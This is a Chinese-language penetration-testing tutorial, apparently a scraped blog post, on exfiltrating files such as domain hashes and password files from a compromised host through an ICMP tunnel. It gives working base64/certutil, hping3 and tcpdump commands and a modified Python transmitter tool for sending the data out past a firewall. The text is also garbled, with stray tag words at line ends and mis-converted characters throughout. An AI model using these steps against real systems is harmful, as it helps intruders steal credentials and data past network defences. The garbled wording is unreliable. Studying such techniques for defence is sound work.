ICMP協議被用於檢測網絡連通狀態的協議,一般狀況下,防火牆會默認放過該協議。python
滲透測試中常常出現一種狀況是,咱們經過某一種方式取得了一臺主機的權限,獲得了一些文件,好比域hash,密碼文件之類的東西,須要回傳至本地進行破解,可是防火牆阻斷了由內網發起請求的協議,只有icmp沒有被阻斷,而咱們又須要回傳文件,這個時候就能夠利用icmp隧道來進行傳輸。linux
【基本步驟】以下:ios
(1)、將所要傳輸的文件進行base64編碼:windows下能夠用certutil命令;linux能夠用base64命令git
(2)、在遠程主機監聽並轉儲icmp數據包:經常使用的工具備tcpdump、wiresharkgithub
(3)、經過能夠構造icmp數據包的工具對咱們的遠程主機發送icmp數據包:經常使用的工具備hping3,或者本身python寫一個windows
(4)對收到的icmp包提取data數據段內容,進行拼接,從新進行base64解碼,獲得源文件安全
我這裏在linux下使用hping3 和wireshark來手動實現,文章結尾會再引用覺得大神寫的幾個腳本工具來快速復現一次網絡
一、將咱們要傳輸的文件進行base64編碼:app
base64 XXX>test #linux
certutil -encode test.zip temp #windows #-encode base64編碼 #test.zip 要加密的文件 #temp 生成的base64編碼文件
二、在接收的遠程主機上輸入下面的命令監聽接收的數據,並開啓wireshark,並設置過濾策略爲只監聽icmptcp
hping3 x.x.x.x --listen signature --safe --icmp -u
參數說明:
(1)--listen 指定hping3爲監聽模式,接收發來的數據
(2)signature 指定接收數據的簽名,每條發來的數據都會在最前面帶上這個字符串,也就是說,「signature」這個字符串後就是咱們接受到的數據,後面拼接是要用到
(3)--safe 以安全模式接收,確保發來的數據包是按照發送順序,完整的接收到
(4)--icmp 指定經過icmp協議傳輸
(5)-u 接收完成後自動中斷(官方資料如是說,可是我這裏沒有達到這個效果)
(6)x.x.x.x 是咱們指定的須要接收的地址,也就是代表:咱們只接收來自192.168.164.128發來的icmp數據包
三、在發送方執行下面的命令,來經過icmp數據包發送文件
sudo hping3 192.168.164.136 --icmp -d 1000 --sign signature --file test -u
參數說明:(與上面重複的不在說明)
(1)x.x.x.x 指定咱們要發送給那個主機
(2)-d 指定每一個數據包的大小
(3)--sign signature 指定簽名內容,也就是上一步咱們須要接收的簽名字符串爲"signature"
(4)--file test 指定咱們要傳輸的文件爲test文件,也就是咱們進行base64編碼後的編碼文件
*按理說,應該也能夠用--safe參數的,可是我這裏用--safe後,目的地址就變成了127.0.0.1,不知道怎們回事,暫且不用
加了-u參數後,文件發送完成,它會提示咱們按下ctrl+c來中止傳送,若是不中止,它會反覆發送
四、在接收端wireshark已經能夠看到接受到的數據包
這裏因爲測試,咱們的文件比較短,直接提取data中text類型中的字符串,右鍵->copy->value就能夠取到
因爲咱們取到的值進行了簽名,就是前面的「signature」字符串,咱們直接去掉這個字符串,只保留後面的base64編碼,保存爲temp
五、在接收端執行解碼命令還原文件
cat temp|base64 -d>test #linux
certutil -decode temp test.zip #windows #-decode base64編碼 #temp 要解密的base64編碼文件 #test.zip 生還原的文件
能夠看到已經對文件進行了還原,是一個zip文件。
傳輸完成
【引用】
接下來,我在這裏引用兩篇文章,是一位大神寫了一個python工具,來實現了icmp隧道傳輸,十分值得借鑑,兩篇文章用的是同一種方法和工具,一篇偏重滲透思路,另外一篇主要是對工具的總結,內容上有重合部分,能夠借鑑
我稍微總結下具體的工具使用,詳細的能夠去看這兩篇文章
工具:icmp_tunnel_ex_filtrate-master:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate
一、在接收機器上運行tcpdump監聽並接收icmp數據包
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
參數說明:
(1)-i eth0 指定監聽的網卡
(2)icmp and icmp[icmptype]=icmp-echo -XX -vvv 監聽策略,過濾出icmp數據包
(3)-w output.txt 指定輸出文件爲output.txt
二、經過下面的命令運行工具腳本,發送文件,它會自動轉換爲base64編碼發送
sudo python icmp_transmitter.py test x.x.x.x
參數說明:
(1)test: 咱們要發送的文件
(2)x.x.x.x: 指定要發送給哪一個主機的ip
注:原來這個工具是windows下的,用了certutil進行了編碼,因爲我這裏用的linux,因此對他的代碼進行了些許修改,即把原來init函數中的
os.system("certutil -encode "+ file +" test.txt") 改成了 os.system("base64 "+ file +" > test.txt")
使用windows的同窗就不用改了
三、咱們在接收端應該能夠看到接收到了信息
按ctrl+c中止監聽,而後按照parser.sh文件中的命令對output.txt文件處理,就能夠獲得base64文件了,而後按照上面的步驟進行解碼就能夠了
生成的transmitted.txt就是文件base64的編碼了
已經還原出我要傳輸的文件了
大神的這個腳本仍是蠻厲害的,並且大神是在windows環境下用的,還把python腳本用py2exe模塊處理成了exe文件,能夠看到只需稍微修改就能夠運用於各類環境
*按理說這個sh文件應該能夠直接執行的,不知道怎麼的,我再linux下,須要手工輸入才能夠,腳本直接運行會報錯,不能生成output1.txt文件,可能個人環境變量有問題吧
【文章】:
(1)偏滲透思路
https://m.baidu.com/from=1014517c/bd_page_type=1/ssid=0/uid=0/baiduid=BF1E191B8AC484726DC1308DF0E37D18/w=0_10_/t=zbios/l=3/tc?ref=www_zbios&pu=sz%401320_480%2Ccuid%40la24aj8cB80Quvak_ivT8jOqvt0qO2aJgiHiugPq2i8ia-8ggav4i_u3viYua2fHA%2Ccua%40_a-qi4aqBig4NE65I5me6NI0-I_UCvC5SdNqA%2Ccut%4009STI0tc2i4jaXiDyavdC5kcSMzWtpBsB%2Cosname%40baiduboxapp%2Cctv%402%2Ccfrom%401014517c%2Ccen%40cuid_cua_cut%2Ccsrc%40browserf_box_txt%2Cta%40zbios_2_7.0_6_8.3%2Cusm%401%2Cvmgdb%400020100228y&lid=10256142585042083616&order=2&fm=alop&tj=www_normal_2_0_10_title&vit=osres&m=8&srd=1&cltj=cloud_title&asres=1&nt=wnor&title=%E6%A1%88%E4%BE%8B%E5%AD%A6%E4%B9%A0%3A%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87ICMPtunnel%E8%8E%B7%E5%8F%96%E6%9C%AA%E8%BF%87%E6%BB%A4%E6%95%B0%E6%8D%AE-%E7%BD%91%E7%AB%99...&dict=20&w_qd=IlPT2AEptyoA_ykwv4op6AQ6vAfHtn-inklisxezdeJc&sec=19931&di=2ce50d030f985362&bdenc=1&tch=124.0.304.189.0.0&nsrc=IlPT2AEptyoA_yixCFOxXnANedT62v3IEQGG_yFB_jexppjfxP4kHREsRF0hRH_ZH5CwdoSGdMJRtXLR0HEobxpOrxpms7oaznuPcfTqhB7UVNBE&eqid=8e5523577b30a0001000000258dcf07c&wd=&clk_info=%7B%22srcid%22%3A%221599%22%2C%22tplname%22%3A%22www_normal%22%2C%22t%22%3A1490874582535%2C%22xpath%22%3A%22div-a-h3%22%7D
(2)偏工具使用
http://www.hackdig.com/09/hack-39591.htm